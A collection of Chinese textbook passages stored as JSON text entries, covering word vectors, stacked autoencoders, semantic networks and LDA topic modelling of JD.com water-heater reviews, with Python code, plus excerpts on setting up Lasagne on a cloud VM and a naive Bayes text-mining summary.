    {"text": "在NLP中，最常见的词表示方法就是One-hot Representation：将一个词映射成一个很长的单位向量，向量的长度就是词表的大小，如“学习”表示成[0001000000000000…]，“复习”表示成[0000000010000000…]；"},
    {"text": "然而，Distributed Representation却是能反映出词语与词语之间的距离远近关系，而用Distributed Representation表示的向量专门称为词向量，如“学习”可能被表示成[0.1，0.1，0.1，0.15，0.2……]，“复习”可能被表示成[0.11，0.12，0.1，0.15，0.22……]，这样，两个词义相近的词语被表示成词向量后，它们的距离也是较近的，词义关联不大的两个词的距离会较远。"},
    {"text": "C（w）表示词w所对应的词向量，存在矩阵C（一个|V|×m的矩阵）中。 其中|V|表示词表的大小（语料中的总词数），m表示词向量的维度。"},
    {"text": "网络的第一层（输入层）是将C（w t-n+1 ），…，C（w t-2 ），C（w t-1 ）这n-1个向量首尾相接拼起来，形成一个（n-1）m维的向量，记为x。"},
    {"text": "最终，y的计算公式为： y=b+Wx+Utanh（d+Hx） 其中，U是隐藏层到输出层的参数，整个模型的多数计算集中在U和隐藏层的矩阵乘法中。"},
    {"text": "（2）评论集子集的人工标注与映射 利用词向量构建的结果，再进行评论集子集的人工标注，正面评论标为1，负面评论标记为2。 （或者采用Python的NLP包snownlp的sentiment功能进行简单的机器标注，减少人为工作量），然后将每条评论映射为一个向量，将分词后评论中的所有词语对应的词向量相加做平均，使得一条评论对应一个向量。"},
    {"text": "在原始的BP神经网络中从特征空间输入到神经网络中，并用类别标签与输出空间来衡量误差，用最优化理论不断求得极小值，从而得到一个与类别标签相近的输出。"},
    {"text": "图15-9 自编码网络结构示意图 把特征空间的向量（x 1 ，x 2 ，x 3 ，x 4 ）作为输入，把经过神经网络训练后的向量 与输入向量（x 1 ，x 2 ，x 3 ，x 4 ）来衡量误差，最终得到一个能从原始数据中自主学习特征的一个特征提取的神经网络。"},
    {"text": "神经网络的出现，时来已久，但是因为局部极值、梯度弥散、数据获取等问题而构建不出深层的神经网络，直到2007年深度学习的提出，才让神经网络的相关算法得到质的改变。"},
    {"text": "它的思想是利用逐层贪婪训练的方法，把原来多层的神经网络剖分成一个个小的自编码网络，每次只训练一个自编码器，然后将前一层自编码的输出作为其后一层自编码器的输入，最后连接一个分类器，可以是SVM、SoftMax等。"},
    {"text": "上述步骤是为了得到一个好的初始化深度神经网络的权重，当连接好一个分类器后，还可以用BP神经网络的思想，反向传播微调神经元的权重，以期得到一个分类准确率更好的栈式自编码神经网络。"},
    {"text": "完成评论映射后，将标注的评论划分为训练集和测试集，在Python下利用标注好的训练集（标注值和向量）训练栈式自编码网络（SAE），对原始向量进行深度学习提取特征，后接Softmax分类器做分类，并用测试集测试训练好的模型的正确率。"},
    {"text": "2.基于语义网络的评论分析 本节使用语义网络分析对评论进行进一步的分析，包括各产品独有优势、各产品抱怨点以及顾客购买原因等，并结合以上分析对品牌产品的改进提出建议。 这一部分主要通过对3种品牌型号的好、差评文本数据生成的语义网络图，结合共词矩阵以及评论定向筛选回查来完成对评论的分析。"},
    {"text": "（1）语义网络的概念、结构与构建本质 语义网络是由R.F.Simon提出的用于理解自然语言并获取认知的概念，是一种语言的概念及关系的表达。"},
    {"text": "语义网络实际上就是一幅有向网络图，举例如图15-10所示。 图15-10 语义网络举例示意图 节点中的物体可以是各种用文字所表达的事物，而节点之间的有向弧则被用以表达节点之间的语言意义上的关系，其中的弧的方向是语言关系的因果指向。"},
    {"text": "虽然每一个语义网络结构中事物（节点）之间的关系是复杂的，但是从本质上看，语义网络的每一道弧的形成就是由于这种语义关系的存在。 不同的用词表达的特定事物之间就是因为存在千丝万缕的联系，才会形成一个个的语义网络。"},
    {"text": "（2）基于语义网络进行评论分析的优势 从前面的论述中我们可知道，要想对中文的热水器评论进行合理的分析，必须要采取的一项措施就是分词，因为计算机不可能像人一样去识别每一个整句的语义，不能直接识别语句的整体结构思想。"},
    {"text": "但是，分词又会使得语句的整体结构变得凌乱，因此对分词后的语句直接进行诸如产品差异等复杂的分析就不合实际，所以必须采取方法尽可能将这种原已凌乱关系重新整合起来，使得复杂的分析重新变为可能。 建立起事物之间（这里分出的每一个词料代表一项事物）的语义网络关系就能够使得原已凌乱的关系得以整合，特别是那些可以连成通顺语料的词语的关系（即连接“因果”关系）的重新整合，而这种关系的成功重建能够清晰地还原语料中所反映出来的许多内容，特别是单独的词语无法清晰表达相应的情况的时候，例如，“安装”与“方便”分开的时候，任何一方都不能清晰表达相关的情况，单独一个“安装”可以表达很多的东西，可以是“安装很容易”，也可以是“有师傅上门帮忙安装”，还可以是“安装要收手续费”等；"},
    {"text": "而单独一个“方便”也可以表达很多的东西，可以是“使用十分方便”，也可以是“商品签收方便快捷”，还可以是“交款方式方便简易”等，但是如果“安装”和“方便”通过语义网络方式连接起来，如图15-11所示，就可以清晰地反映出是相关热水器产品在安装的时候比较便利。"},
    {"text": "图15-11 “安装”和“方便”的语义网络连接示意图 当这种语义网络建立起来后，就可以借助它进行各种各样的特定的分析，特别是在判断特定产品优点、抽取各品牌的顾客关注点等方面具有一定的优势。 以判断特定产品优点为例，如果某种产品相对于其他产品具有某种特定的优势，那么由该种商品的正面评论形成的语义网络上就会生成与其他产品正面评论形成的语义网络不一样的且蕴含着这种优势的关系连接，通过可视化，就能够从中抽取出来。 （3）基于语义网络进行评论分析的前期步骤与解释 进行语义网络分析，实际上所需要的前期步骤就是在二分类文本情感分析的基础上进行增添，语义网络的分析之所以要以二分类文本情感分析的结果为基础，在于正面的以及负面的评论大多都会具有不同的语意结构，且对于同一商品而言，正面以及负面的评论关注的点是不完全一样的，信息也是不完全一样的，正面以及负面评论之间是存在逻辑冲突的。"},
    {"text": "2）进行情感倾向性分析，并将评论数据分割成正面（好评）、负面（差评）、中性（中评）3大组。 3）抽取正面（好评）、负面（差评）两组，以进行语义网络的构建与分析。 第一步可以直接按照原有的流程来进行，第三步的抽取只需要在第二步分成的三组结果中抽取即可，不对中性评论进行分析是因为中性评论往往携带着比较复杂的信息，难以对细节进行倾向性提取。"},
    {"text": "同时ROST系统又是一款大型的免费用于社会计算的软件，可以用来实现多种类型的分析，包括情感倾向性分析以及后面将要进行语义网络的构建等。 之所以使用ROSTCM6来完成情感分析，是因为ROSTCM6软件的情感倾向性分析使用的是基于优化的情感词典的方法，目前来讲，其准确率会比基于词向量以及基于神经网络的情感分析方法的正确率高，而前述用于情感倾向性分析的方法是基于词向量以及基于神经网络的情感倾向性分析方法。"},
    {"text": "另外，受限于现今中文分词技术的缺陷以及评论本身的特性，能够通过中文评论所挖掘出来的内容还是偏少的，因此对情感倾向性分析的正确率要求就更高。"},
    {"text": "单击“功能性分析”项，再单击“情感分析”菜单，然后将待分析的文件地址输入“待分析文件路径”对应框内，单击“分析”选项就得到了情感倾向性分析的结果，三种情感倾向被放入3个不同的TXT文件内。"},
    {"text": "（4）基于语义网络进行评论分析的实现过程 要进行语义网络分析，首先要分别对两大组重新进行分词处理，并提取出高频词（为了实现更好的分词效果，在分词词典中引入更多的词汇）。"},
    {"text": "最后再抽取行特征，处理完后便可进行两组的语义网络的构建。 利用软件ROSTCM6来完成这一部分及语义网络构建的操作。 打开ROSTCM6软件，单击“功能性分析”选项，再单击“社会网络与语义网络分析”菜单，便得到社会网络与语义网络分析的界面，如图15-13所示。 图15-13 ROSTCM6实现语义网络构建的步骤示意图 将分好的好、差评两个文本文档中的好评文档的地址输入“待处理文件”对应框内，并单击“提取高频词”“过滤无意义词”以及“提取行特征”按钮，这样便完成了对应的操作，系统还会自动生成对应的处理后的文件。 在此之后，依次单击“构建网络”与“启动NetDraw”按钮，就可得到好评文档的语义网络图（其生成的语义网络图可能不便观察，可以移动NetDraw生成的语义网络结果中的节点以增强该网络的可读性），为了方便分析，再单击“构建矩阵”按钮，形成被挑选出的节点词的矩阵词表，该操作会生成一个xls文件。 完成好评文档的语义网络图的构建后再对差评文档进行同样的操作，将得到相应的语义网络图。 3种牌子3种型号对应就会有6个好评文档及差评文档，对应就会生成6个语义网络图，并以此为基础，结合共词矩阵（可在语义网络生成后再单击“构建矩阵”形成）与评论定向筛选回查，便可进行相关评论分析。"},
    {"text": "从直观上来说，传统判断两个文档相似性的方法是通过查看两个文档共同出现的单词的多少，如TF、TF-IDF等，这种方法没有考虑到文字背后的语义关联，可能在两个文档共同出现的单词很少甚至没有，但两个文档是相似的，因此在判断文档相似性时，应进行语义挖掘，而语义挖掘的有效工具即为主题模型。 如果一篇文档有多个主题，则一些特定的可代表不同主题的词语会反复的出现，此时，运用主题模型，能够发现文本中使用词语的规律，并且把规律相似的文本联系到一起，以寻求非结构化的文本集中的有用信息。"},
    {"text": "例如，对于热水器的商品评论，代表热水器特征的词语如“安装”“出水量”“服务”等会频繁地出现在评论中，运用主题模型，将与热水器代表性特征相关的情感描述性词语，同相应的特征词语联系起来，从而深入了解热水器评价的聚焦点及用户对于某一特征的情感倾向。"},
    {"text": "LDA模型作为其中一种主题模型，属于无监督的生成式主题概率模型。 （1）LDA主题模型介绍 潜在狄利克雷分配（Latent Dirichlet Allocation，LDA）是由Blei等人在2003年提出的生成式主题模型 [24] 。"},
    {"text": "LDA模型也被称为3层贝叶斯概率模型，包含文档（d）、主题（z）和词（w）3层结构，能够有效地对文本进行建模，和传统的空间向量模型（VSM）相比，增加了概率的信息。"},
    {"text": "由N个词构成的评论记为d＝（w 1 ，w 2 ，…，w N ）。 假设某一商品的评论集D由M篇评论构成，记为D＝（d 1 ，d 2 ，…，d M ）。 M篇评论分布着K个主题，记为z i （i=1，2，…，K）。"},
    {"text": "记α和β为狄利克雷函数的先验参数，θ为主题在文档中的多项分布的参数，其服从超参数为的Dirichlet先验分布，φ为词在主题中的多项分布的参数，其服从超参数的Dirichlet先验分布。"},
    {"text": "图15-14 LDA模型结构示意图 LDA模型假定每篇评论由各个主题按一定比例随机混合而成，混合比例服从多项分布，记为： 而每个主题由词汇表中的各个词语按一定比例混合而成，混合比例也服从多项分布，记为： 在评论d j 条件下生成词w i 的概率表示为： 其中，P（w i |z=s）表示词w i 属于第s个主题的概率，P（z=s|d j ）表示第s个主题在评论d j 中的概率。"},
    {"text": "（2）LDA主题模型估计 LDA模型对参数θ、φ的近似估计通常使用马尔科夫链蒙特卡洛（Markov Chain Monte Carlo，MCMC） [25] 算法中的一个特例Gibbs抽样。 利用Gibbs抽样对LDA模型进行参数估计，依据下式： 其中，z i =s|表示词w i 属于第s|个主题的概率，Z -i 表示其他所有词的概率，n s，-i 表示不包含当前词w i 的被分配到当前主题z s 下的个数，n s，-j 表示不包含当前文档d j 的被分配到当前主题zs下的个数。"},
    {"text": "通过对上式的推导，可以推导得到词w i 在主题z s 中的分布的参数估计φ s，i ，主题z s 在评论d j 中的多项分布的参数估计θ j，s ，如下： 其中，n s，i 表示词w i 在主题z s 中出现的次数，n j，s 表示文档d j 中包含主题z s 的个数。"},
    {"text": "LDA主题模型在文本聚类、主题挖掘和相似度计算等方面都有广泛的应用，相对于其他主题模型，其引入了狄利克雷先验知识，因此，模型的泛化能力较强，不易出现过拟合现象。"},
    {"text": "例如，在热水器的评论中，根据分词的一般规则，经过分词的语句会将“费用”一词单独分割出来，而“费用”是指安装费用，还是热水器费用等其他情况，如果简单地进行词频统计及情感分析，是无法识别的，从而无法准确了解用户反映的情况。"},
    {"text": "运用LDA主题模型，可以求得词汇在主题中的概率分布，进而判断“费用”一词属于哪个主题，并求得属于这一主题的概率和同一主题下的其他特征词，从而解决多种指代问题。"},
    {"text": "（3）运用LDA模型进行主题分析的实现过程 本文在商品评论关注点的研究中，即对评论中的潜在主题进行挖掘，评论中的特征词是模型中的可观测变量。"},
    {"text": "如果某个潜在主题同时是多则评论中的主题，则这一潜在主题很可能是整个评论语料集的热门关注点。 在这个潜在主题上越高频的特征词越可能成为热门关注点中的评论词。"},
    {"text": "为提高主题分析在不同情感倾向下热门关注点反映情况的精确度，本文在语义网络的情感分类结果的基础上，对不同情感倾向下的潜在主题分别进行挖掘分析，从而得到不同情感倾向下用户对热水器不同方面的反映情况。"},
    {"text": "例如，选取差评中的一则评论“售后服务差极了，不买他们的材料不给安装，还谎称免费安装，其实要收挺贵的安装费，十分不合理。 这也算了，安装费之前说二百，安好之后要四百，更贵了，更加不合理，不管是安装师傅自己还是美的规定，都是很差很差的体验，我看其他人的了，一样的安装，比别人贵的安装费。"},
    {"text": "同时，可以得到潜在主题上特征词的概率分布情况，反映潜在主题“安装费”的特征词包括“贵”“不合理”，反映“安装师傅”的特征词包括“粗糙”“粗鲁”。"},
    {"text": "分别统计整个评论语料库中正负情感倾向的主题分布情况，对两种情感倾向下各个主题出现的次数从高到低进行排序，根据分析需要，选择排在前若干位的主题作为评论集中的热门关注点，然后根据潜在主题上的特征词的概率分布情况，得到所对应的热门关注点的评论词。"},
    {"text": "本文运用LDA主题模型的算法，并采用Gibbs抽样方法对LDA模型的参数进行近似估计，由上文的模型介绍可知，模型中存在3个可变量需要确定最佳取值，分别是狄利克雷函数的先验参数α、β和主题个数K。"},
    {"text": "（4）LDA模型的实现 虽然LDA可以直接对文本做主题分析，但是文本的正面评价和负面评价混淆在一起，并且由于分词粒度的影响（否定词或程度词等），可能在一个主题下生成一些令人迷惑的词语。"},
    {"text": "这里采用COSTCM6中的情感分析做机器分类，生成“正面情感结果”“负面情感结果”和“中性情感结果”，这里抛弃“中性情感结果”文本，分别对“正面情感结果”和“负面情感结果”文本进行LDA分析，挖掘出商品的优点与不足。"},
    {"text": "图15-15是meidi_jd_process_end.txt得到的负面评价文本，由于COSTCM6得到的结果还有评分前缀，还需要对前缀进行评分删除，并且分类文本是unicode编码，则统一另存为UTF-8编码再删除评分。"},
    {"text": "图15-15 负面评价文本 代码清单15-3 删除前缀评分代码 #-*- coding: utf-8 -*- import pandas as pd # 参数初始化 inputfile1 = '../data/meidi_jd_process_end_ 负面情感结果 .txt' inputfile2 = '../data/meidi_jd_process_end_ 正面情感结果 .txt' outputfile1 = '../data/meidi_jd_neg.txt' outputfile2 = '../data/meidi_jd_pos.txt' data1 = pd.read_csv(inputfile1, encoding = 'utf-8', header = None) # 读入数据 data2 = pd.read_csv(inputfile2, encoding = 'utf-8', header = None) data1 = pd.DataFrame(data1[0].str.replace('.*?\\d+?\\\\t ', '')) # 用正则表达式修改数据 data2 = pd.DataFrame(data2[0].str.replace('.*?\\d+?\\\\t ', '')) data1.to_csv(outputfile1, index = False, header = False, encoding = 'utf-8') # 保存结果 data2.to_csv(outputfile2, index = False, header = False, encoding = 'utf-8') 代码详见：demo/code/clean_prefix.py 接下来，需要对两文本进行分词，保存成两个文本文档，并和停用词文档一起作为LDA程序的输入。"},
    {"text": "代码清单15-4 分词代码 #-*- coding: utf-8 -*- import pandas as pd import jieba # 导入结巴分词，需要自行下载安装 # 参数初始化 inputfile1 = '../data/meidi_jd_neg.txt' inputfile2 = '../data/meidi_jd_pos.txt' outputfile1 = '../data/meidi_jd_neg_cut.txt' outputfile2 = '../data/meidi_jd_pos_cut.txt' data1 = pd.read_csv(inputfile1, encoding = 'utf-8', header = None) # 读入数据 data2 = pd.read_csv(inputfile2, encoding = 'utf-8', header = None) mycut = lambda s: ' '.join(jieba.cut(s)) # 自定义简单分词函数 data1 = data1[0].apply(mycut) # 通过“广播”形式分词，加快速度。"},
    {"text": "data2 = data2[0].apply(mycut) data1.to_csv(outputfile1, index = False, header = False, encoding = 'utf-8') # 保存结果 data2.to_csv(outputfile2, index = False, header = False, encoding = 'utf-8') 代码详见：demo/code/cut.py 在分好词的正面评价、负面评价文件以及过滤用的停用词表的基础上，使用Python的Gensim库完成LDA分析的代码如代码清单15-5所示。 代码清单15-5 LDA代码 #-*- coding: utf-8 -*- import pandas as pd # 参数初始化 negfile = '../data/meidi_jd_neg_cut.txt' posfile = '../data/meidi_jd_pos_cut.txt' stoplist = '../data/stoplist.txt' neg = pd.read_csv(negfile, encoding = 'utf-8', header = None) # 读入数据 pos = pd.read_csv(posfile, encoding = 'utf-8', header = None) stop = pd.read_csv(stoplist, encoding = 'utf-8', header = None, sep = 'tipdm') #sep 设置分割词，由于 csv 默认以半角逗号为分割词，而该词恰好在停用词表中，因此会导致读取出错 # 所以解决办法是手动设置一个不存在的分割词，如 tipdm 。 stop = [' ', ''] + list(stop[0]) #Pandas 自动过滤了空格符，这里手动添加 neg[1] = neg[0].apply(lambda s: s.split(' ')) # 定义一个分割函数，然后用 apply 广播 neg[2] = neg[1].apply(lambda x: [i for i in x if i not in stop]) # 逐词判断是否停用词，思路同上 pos[1] = pos[0].apply(lambda s: s.split(' ')) pos[2] = pos[1].apply(lambda x: [i for i in x if i not in stop]) from gensim import corpora, models # 负面主题分析 neg_dict = corpora.Dictionary(neg[2]) # 建立词典 neg_corpus = [neg_dict.doc2bow(i) for i in neg[2]] # 建立语料库 neg_lda = models.LdaModel(neg_corpus, num_topics = 3, id2word = neg_dict) #LDA 模型训练 for i in range(3): neg_lda.print_topic(i) # 输出每个主题 # 正面主题分析 pos_dict = corpora.Dictionary(pos[2]) pos_corpus = [pos_dict.doc2bow(i) for i in pos[2]] pos_lda = models.LdaModel(pos_corpus, num_topics = 3, id2word = pos_dict) for i in range(3): neg_lda.print_topic(i) # 输出每个主题 代码详见：demo/code/LDA.py 经过LDA主题分析后，评论文本被聚成3个主题，每个主题下生成10个最有可能出现的词语以及相应的概率，表15-2显示了美的正面评价文本中的潜在主题，表15-3展示了美的负面评价文本中的潜在主题。"},
    {"text": "表15-2 美的正面评价潜在主题 表15-3 美的负面评价潜在主题 根据对美的热水器好评的3个潜在主题的特征词提取，主题1中的高频特征词，即很好、送货快、加热、速度、很快、服务和非常等，主要反映京东送货快、服务非常好；"},
    {"text": "主题2中的高频特征词，即热门关注点主要是价格、东西和值得等，主要反映美的热水器不错，价格合适值得购买等； 主题3中的高频特征词，即热门关注点主要是售后、师傅、上门和安装等，主要反映京东的售后服务以及师傅上门安装等。 从美的热水器差评的3个潜在主题中，我们可以看出，主题1中的高频特征词主要是安装、服务、元等，即主题1主要反映的是美的热水器安装收费高、热水器售后服务不好等；"},
    {"text": "主题3主要反映的是美的热水器可能不满足其需求等； 主题3中的高频特征词主要是没有、但是、自己等，主题3可能主要反映美的热水器自己安装等。"},
    {"text": "综合以上对主题及其中的高频特征词可以看出，美的热水器的优势有以下几个方面：价格实惠、性价比高、外观好看、热水器实用、使用起来方便、加热速度快、服务好。 相对而言，用户对美的热水器的抱怨点主要体现以下几个方面：美的热水器安装的费用贵及售后服务等。 因此，用户的购买原因可以总结为以下几个方面：美的大品牌值得信赖，美的热水器价格实惠，性价比高。 根据对京东平台上美的热水器的用户评价情况进行LDA主题模型分析，我们对美的品牌提出以下建议。 1）在保持热水器使用方便、价格实惠等优点的基础上，对热水器进行改进，从整体上提升热水器的质量。"},
    {"text": "[1] 周涛，吴家舜，邵悦涵.基于情感分析、语义网络和主题模型的评论文本分析.第三届泰迪杯全国大学生数据挖掘竞赛（http://www.tipdm.org）优秀作品。"},
    {"text": "15.3 上机实验 1.实验目的 ·学习运用Python对文本数据做数据清洗（预处理）的方法。 ·学习运用ROSTCM6对评论文本分类的方法。 ·学习运用Python对文本做分词处理的方法。 ·加深对LDA主题分析算法原理的理解及使用。 ·掌握使用LDA主题分析算法解决实际问题的方法。 2.实验内容 ·京东评论数据中有众多品牌的评论，数据见test/data/huizong.csv，利用Pandas从csv文件中提取出某个品牌的评论数据（如海尔），并对数据做预处理。 ·将原始数据做完预处理后，再利用ROSTCM6对划分评论数据分类，并对两个文本做分词处理和LDA主题分析。 3.实验方法与步骤 实验一 1）打开Python软件，仿照excel2txt.py脚本输入命令。 2）使用readLines（）函数读取数据，并筛选出某个品牌的评论，保存成文本文件（编码统一用UTF-8，下同）。 ·依次编写clean_same.py函数和clean_prefix.py函数。 ·clean_prefix.py函数对于各个类别的评分进行删除。 3）编写并运行程序后，与之前的对比、观察预处理后的效果。 实验二 1）利用ROSTCM6将预处理后的文本一分为二（只保留正面评价和负面评价）。 ·打开ROSTCM6软件，选择“功能性分析”——“情感分析”。 ·在“待分析文件路径”中选择预处理后的文件路径，单击“分析”。 ·将得到的正面评价和负面评价文本另存为到“\\test\\data\\”目录下，并将编码改回UTF-8（而非unicode）。 ·编写clean_prefix.py代码，运用正则表达式将上述两个文本的前缀评分和空格去除，并保存为meidi_jd_pos.txt和meidi_jd_pos.txt文本。 2）利用jieba模块分别对上述所得的两个文本做分词，为达到更好的分词效果，添加自定义词典myDict.txt（在\\data中），可以尝试往myDict.txt中自定义编辑添加词组。 3）编写LDA.py代码，分别对meidi_jd_pos_cut.txt和meidi_jd_pos_cut.txt文本运行，分析产品的优点和不足。 4.思考与实验总结 如何在Python中实现情感分析，将评论内容分为正面和负面评价？ 15.4 拓展思考 应用层次分析法（Analytical Hierachy Process，AHP）是匹兹堡大学T.L.Saaty教授在20世纪70年代初期提出对定性问题进行定量分析的一种渐变灵活的多准则决策方案，其特点是把复杂问题中的各种因素通过划分为相互联系的有序层次，使之条理化，根据对有一定客观现实的主观两两比较，把专家意见和分析者的客观判断结果直接有效地结合起来，然后利用数学方法计算每一层元素相对重要性次序的权值，最终通过所有层次间的总排序计算所有元素的相对权重并进行排序，从而分析消费者决策。 模糊综合评判（Fuzzy Comprehensive Evaluation，FCE）是20世纪80年代初，我国模糊数学领域的汪培庄教授提出的综合评判模型，并通过广大实际工作者的不断地补充发展，衍生出的适用于各种领域的评判方法。模糊综合评判的过程可简述为：决策者将目标看成是由多重因素组成的因素集U，再设定这些因素所能选取的评审等级，组成评语的评判集合V，分别求出各单一因素对各个评审等级的模糊矩阵，然后根据各个因素在评价中的权重分配，通过模糊矩阵合成，求出评价的定量值。 但是，这两种方法各有利弊：AHP能够准确地对决策定性，但其决策过程需要经过大量数据比对来最终通过概率确定权重；而在FCE中虽然有很好的定量评价，但是无法很好地对决策定性。请利用本案例的数据，尝试通过对二者的结合来实现对电商平台上热水器的购买决策分析。 AHP-FCE模型需要经历以下3个步骤，具体流程如图15-16所示。 图15-16 AHP-FCE模型 ·划分因素层。 ·应用AHP构造消费者心理的隶属函数和因素权集合。 ·对所求结果进行综合评判。 15.5 小结 本章结合京东商城美的热水器评论的文本分析的案例，重点介绍了数据挖掘算法中文本挖掘分词算法以及LDA主题模型在实际案例中的应用。本章研究京东平台上的热水器评论问题，从分析某一热水器的用户情感倾向出发挖掘出该热水器的优点与不足，从而提升对应商品的生产厂家自身的竞争力。"},
    {"text": "参考文献 [1]Programming Community Index： http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html . [2]天文科研中的Python： http://qosmology.org/python-in-astronomy-research/ . [3]方积乾.生物医学研究的统计方法[M].北京：高等教育出版社.2007：16-17. [4]张静远，张冰，蒋方舟.基于小波变换的特征提取方法分析[J].2000：1-8. [5]张良均，王靖涛，李国成.小波变换在桩基完整性检测中的应用[J].2002：1-2. [6]廖芹.数据挖掘与数学建模[M].北京：国防工业出版社.2010：49-50. [7]何晓群.应用回归分析[M].北京：中国人民大学出版社.2011. [8]Quinlna J R，Induction of decision tree，Machine Learning[M].198，（1）：81-106. [9]张良均.神经网络从入门到精通[M].北京：机械工业出版社.2012.11-12. [10]周春光.计算智能[M].吉林：吉林大学出版社.2009.43-44. [11]张良均.数据挖掘：实用案例分析[M].北京：机械工业出版社.2013. [12]Jiawei Han，Micheline Kamber.Data Mining Concepts and Techniques[M].机械工业出版社.2012：247-254. [13]王燕.应时间序列分析[M].北京：中国人民大学出版社.2012. [14]Pang-Ning Tan，Michael Steinbach，Vipin Kumar.Introdution to Data Mining[M].北京：人民邮电出版社.2010：404-415. [15]罗亮生，张文欣.基于常旅客数据库的航空公司客户细分方法研究[J].现代商业，2008（23）. [16]电子商务网站RFM分析.[EB/OL]. http://www.skynuo.com/Seo_detail131.Html/ . [17]徐力，鹿竞文.三阴乳腺癌证素变化规律及截断疗法研究[D].人民卫生出版社，2012. [18]Stricker M A，Orengo M.Similarity of color images[C]//IS&T/SPIE's Symposium on Electronic Imaging：Science Technology.International Society for Optics and Photonics，1995：381-392. [19]袁守正，丁富强，裴国才.云计算环境下业务系统健康度模型研究[J].电信技术，2014（03）. [20]张利.基于时间序列ARIMA模型的分析预测算法研究及系统实现[D].江苏大学，2008. [21]项亮.推荐系统实战[M].北京：人民邮电出版社，2012.6. [22]Tibshirani，R.（1996）.Regression shrinkage and selection via the lasso[J].J.Royal.Statist.Soc B.，Vol.58，No.1，pages 267-288. [23]Zou H.The Adaptive Lasso and its oracle properties[J].Journal of the AmericanStatistical Association，2006，101（476）：1418-1429. [24]Blei D M，Ng A Y，Jordan M I.Latent dirichlet allocation[J].Journal of Machine Learning Research，2003，3：2003. [25]BERG B A.Markov Chain Monte Carlo Simulations and Their Statistical Analysis[M].Singapore：World Scientific.2004. [26]Cao Juan，Xia Tian，Li Jin Tao，A density method for adaptive LDA model selection[J].Neurocomputing 2009（72）：1775-1781."},
    {"text": "Cover Unknown 1.4 分类问题的简单示例 在上述亲和性分析例子中，我们寻找的是数据集中不同变量之间的相关性。而分类问题，只关注 类别 （也叫作目标）这个变量。上述例子中，假如我们关心的是怎样让顾客买更多的苹果，就可以把是否购买苹果作为类别，使用分类方法，只寻找促成顾客购买苹果的规则。 Unknown 11.5 环境搭建 连接到虚拟主机后，你可以安装最新的 Lasagne 和 nolearn 库。 首先，使用 git 命令克隆 Lasagne 代码仓库，本章前面用过。 git clone https://github.com/Lasagne/Lasagne.git 在虚拟机上编译这个库，需要用到Python 3的 setuptools ，我们可以用Ubuntu常用的应用和包管理命令 apt-get 来安装；我们还需要 numpy 的开发版。 在虚拟机的命令行运行下述命令。 sudo apt-get install python3-pip python3-numpy-dev 接着，安装 Lasagne 。首先，切换到源代码所在的目录，然后运行 setup.py 完成安装。 cd Lasagne sudo python3 setup.py install 我们已经安装了 Lasagne ，还需要安装 nolearn ，为了简单起见，把它俩都作为系统包来安装。考虑到可移植性，建议你使用 virtualenv 安装这些包，这样你可以在同一台虚拟机上使用不同版本的Python和第三方包，把代码移植到其他机器上也更容易。更多信息请见 http://docs.pythonguide.org/en/latest/dev/virtualenvs/ 。 Lasagne 编译好后，我们就可以安装 nolearn 。切换到你自己的主目录，照下面的步骤来，跟前面安装 Lasagne 的步骤相同，只不过要注意这次克隆的是 nolearn 。 cd ~/ git clone https://github.com/dnouri/nolearn.git cd nolearn sudo python3 setup.py install 我们的环境差不多搭建好了。还需要安装 scikit-learn 、 scikit-image 库，这两个库都可以用 pip3 安装，这些库所依赖的scipy和matplotlib也没有安装。建议使用 apt-get 来安装scipy和matplotlib，因为使用 pip3 可能会遇到比较棘手的问题。 sudo apt-get install python3-scipy python3-matplotlib sudo pip3 install scikit-learn scikit-image 接着，需要把代码搬到虚拟机上，方法有很多，最简单的莫过于复制粘贴。 首先，打开前面用过的笔记本文件（在你本地的计算机上，不是在亚马逊的虚拟机上）。笔记本文件顶部有一个菜单。点击File，然后再点击Download as，选择Python，将其保存到本地计算机上。该步骤将笔记本文件保存为可以从命令行运行的.py文件。 打开.py文件（有些操作系统，你可能需要右键单击该文件，从弹出的菜单中选择用文本编辑器打开）。文件打开后，选择所有的内容，将其复制到剪贴板。 回到亚马逊的虚拟主机，切换到主目录，用 nano 文本编辑器打开一个新文件。 cd ~/ nano chapter11script.py nano 为命令行文本编辑器，上述命令将在命令行打开新文件。 文件打开后，把剪贴板的内容粘贴到里面。在有些系统中，你可能需要借助 ssh 程序的文件操作命令来完成文件上传，而不是按快捷键Ctrl+V粘贴。 在 nano 中，按下Ctrl+O保存文件，再按Ctrl+X退出 nano 。 你还需要字体文件。最简单的方法是从原地址再下载一遍，具体步骤如下。 wget http://openfontlibrary.org/assets/downloads/bretan/680bc56bbeeca9535 3ede363a3744fdf/bretan.zip sudo apt-get install unzip unzip -p bretan.zip Coval.otf > Coval.otf 上述代码用 unzip 命令解压Coval.otf文件（压缩包里有大量的zip文件，我们用不到）。 在虚拟机的命令行里输入以下命令运行程序。 python3 chapter11script.py 程序将会像在IPython Notebook笔记本里那样运行，把结果输出到命令行。 结果应该跟之前一致，但是神经网络的训练和测试比之前更快。程序其他方面可能没那么快——生成验证码数据集部分没有使用GPU，因此速度不会提升。 你可能希望关闭亚马逊虚拟主机来省点钱，本章最后运行大实验的相关程序时会再次用到虚拟机，我们接下来先在本地计算机上进行开发。"},
    {"text": "Unknown 6.5 小结 本章研究的是文本挖掘——特征的抽取、应用及扩展方法，具体研究任务是根据语境消除词语的歧义——即一条消息中的Python是否指编程语言。我们使用Twitter提供的API下载消息，使用在笔记本文件中建立的表单完成语料标注。 我们还考虑了实验结果的可再现性。虽然Twitter不允许你把自己采集的数据给别人使用，但是消息编号是可以共享的。我们编写代码，保存消息编号，再用这些编号来重建先前的数据集。由于有些消息被删除或是出于其他原因，我们无法再次获取它们。 我们用朴素贝叶斯分类器对文本进行分类，该分类器是以贝叶斯定理为基础，它使用数据来更新模型，而不是像频率论者那样从模型出发。这有助于整合新数据到模型中，利用新数据来更新模型和使用先验知识。此外，基于各特征相互独立的朴素假设，便于计算各特征出现在给定类别的概率，而不用考虑各特征之间复杂的相关性。 我们用词语是否出现作为特征值——即消息是否含有某个词，这种模型 9 叫作词袋模型。虽然它丢掉了词语在句子中的位置等信息，但它在很多数据集上表现不凡。 9 把文档看成由一个个孤立的、无前后位置关系的单词组成的。——译者注 朴素贝叶斯分类器结合词袋模型，组装成的流水线功能强大。对于大多数文本挖掘任务，它都能取得很好的效果。在尝试更高级的模型之前，用这样的分类器取得的分类结果作为参考的基准很不错。另外一个优点是，朴素贝叶斯分类器不需要调整任何参数（如果你愿意折腾的话，也确实有几个）。 下一章将介绍怎样从另外一种数据类型——图中抽取特征，尝试解决向社会媒体网站用户推荐感兴趣的人这一问题。 Unknown 看完了 